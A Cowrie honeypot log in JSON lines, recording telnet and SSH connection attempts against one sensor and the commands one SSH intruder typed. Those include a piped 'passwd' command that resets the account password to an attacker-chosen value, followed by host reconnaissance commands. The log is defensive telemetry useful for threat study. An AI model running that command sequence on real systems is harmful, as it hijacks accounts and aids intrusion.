{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":56892,"dst_ip":"10.17.0.5","dst_port":23,"session":"400e5a566511","protocol":"telnet","message":"New connection: 152.53.125.71:56892 (10.17.0.5:23) [session: 400e5a566511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:58.527599Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:58.820430Z","src_ip":"103.215.80.173","session":"92618f81fe49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.534993648529053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:00.075369Z","src_ip":"37.97.152.182","session":"b3d6112cedbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":42830,"dst_ip":"10.17.0.5","dst_port":23,"session":"cafd9b42348c","protocol":"telnet","message":"New connection: 37.97.152.182:42830 (10.17.0.5:23) [session: cafd9b42348c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:01.523083Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":56900,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f5e0fe68bf1","protocol":"telnet","message":"New connection: 152.53.125.71:56900 (10.17.0.5:23) [session: 1f5e0fe68bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:01.602697Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:05.102504Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:05.106208Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:05.317382Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.47082185745239,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:05.702477Z","src_ip":"159.203.13.64","session":"473836085da5","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:05.785105Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin00\\ncwh1ijpH51AU\\ncwh1ijpH51AU\"|passwd|bash","message":"CMD: echo -e \"admin00\\ncwh1ijpH51AU\\ncwh1ijpH51AU\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:05.788782Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:05.792699Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:05.796344Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e02e9443f7bb5eea5493a1903abd941aa419520d4cca302423a8189b11881c72","size":32,"shasum":"e02e9443f7bb5eea5493a1903abd941aa419520d4cca302423a8189b11881c72","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e02e9443f7bb5eea5493a1903abd941aa419520d4cca302423a8189b11881c72 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:06.010304Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:06.471938Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin00\\ncwh1ijpH51AU\\ncwh1ijpH51AU\\n\"|passwd","message":"CMD: echo \"admin00\\ncwh1ijpH51AU\\ncwh1ijpH51AU\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:06.475563Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41064,"dst_ip":"10.17.0.5","dst_port":23,"session":"b42b5a1ae3f6","protocol":"telnet","message":"New connection: 159.203.13.64:41064 (10.17.0.5:23) [session: b42b5a1ae3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:06.667461Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d9e260d321b19289dea416802b262679d5d4d57874fa44629edab2a290cdc165","size":25,"shasum":"d9e260d321b19289dea416802b262679d5d4d57874fa44629edab2a290cdc165","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/d9e260d321b19289dea416802b262679d5d4d57874fa44629edab2a290cdc165 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:06.686003Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:07.187979Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:07.192617Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:07.403945Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58862,"dst_ip":"10.17.0.5","dst_port":23,"session":"013a3072fa81","protocol":"telnet","message":"New connection: 152.53.125.71:58862 (10.17.0.5:23) [session: 013a3072fa81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:07.546171Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:07.870514Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:07.874190Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:08.085148Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:08.548131Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:08.551508Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:08.554400Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58872,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae437072fec5","protocol":"telnet","message":"New connection: 152.53.125.71:58872 (10.17.0.5:23) [session: ae437072fec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:08.572191Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:08.765937Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.436031341552734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:09.165581Z","src_ip":"37.97.152.182","session":"b6d09a1cc85d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:09.221155Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:09.224742Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:09.436889Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:09.892918Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:09.896428Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:10.105887Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58878,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fcdcfa24e31","protocol":"telnet","message":"New connection: 152.53.125.71:58878 (10.17.0.5:23) [session: 1fcdcfa24e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:10.232023Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58890,"dst_ip":"10.17.0.5","dst_port":23,"session":"664f75b16343","protocol":"telnet","message":"New connection: 152.53.125.71:58890 (10.17.0.5:23) [session: 664f75b16343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:10.456100Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:10.567644Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:10.570934Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58896,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ac91431f102","protocol":"telnet","message":"New connection: 152.53.125.71:58896 (10.17.0.5:23) [session: 3ac91431f102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:10.578127Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58910,"dst_ip":"10.17.0.5","dst_port":23,"session":"0499311609d3","protocol":"telnet","message":"New connection: 152.53.125.71:58910 (10.17.0.5:23) [session: 0499311609d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:10.582818Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:10.781781Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59222,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd96af134b13","protocol":"telnet","message":"New connection: 159.203.13.64:59222 (10.17.0.5:23) [session: fd96af134b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:10.926116Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:11.231183Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:11.234326Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:11.443692Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58918,"dst_ip":"10.17.0.5","dst_port":23,"session":"158262cca599","protocol":"telnet","message":"New connection: 152.53.125.71:58918 (10.17.0.5:23) [session: 158262cca599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:11.640181Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:11.895663Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:11.898842Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:12.108974Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58926,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8dcd778e4cc","protocol":"telnet","message":"New connection: 152.53.125.71:58926 (10.17.0.5:23) [session: d8dcd778e4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:12.396751Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58932,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4787c724625","protocol":"telnet","message":"New connection: 152.53.125.71:58932 (10.17.0.5:23) [session: e4787c724625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:12.402987Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:12.592846Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:12.596376Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:12.806695Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.44068646430969,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.050799Z","src_ip":"159.203.13.64","session":"a66d863f5761","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.621392488479614,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.112400Z","src_ip":"159.203.13.64","session":"fdc2221e2544","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.264955Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.268314Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.04063606262207,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.275774Z","src_ip":"159.203.13.64","session":"2bd4a093bd6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58948,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e2c9aff39a","protocol":"telnet","message":"New connection: 152.53.125.71:58948 (10.17.0.5:23) [session: 39e2c9aff39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.356471Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58958,"dst_ip":"10.17.0.5","dst_port":23,"session":"d596f2e18bf8","protocol":"telnet","message":"New connection: 152.53.125.71:58958 (10.17.0.5:23) [session: d596f2e18bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.403959Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58962,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce6490958dd9","protocol":"telnet","message":"New connection: 152.53.125.71:58962 (10.17.0.5:23) [session: ce6490958dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.473873Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.480567Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":47596,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f9ad02eaded","protocol":"telnet","message":"New connection: 37.97.152.182:47596 (10.17.0.5:23) [session: 0f9ad02eaded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.509783Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.936905Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:13.940330Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:14.153811Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58964,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e67f07950d","protocol":"telnet","message":"New connection: 152.53.125.71:58964 (10.17.0.5:23) [session: b3e67f07950d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:14.483002Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58968,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b20bc402871","protocol":"telnet","message":"New connection: 152.53.125.71:58968 (10.17.0.5:23) [session: 6b20bc402871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:14.498765Z"}
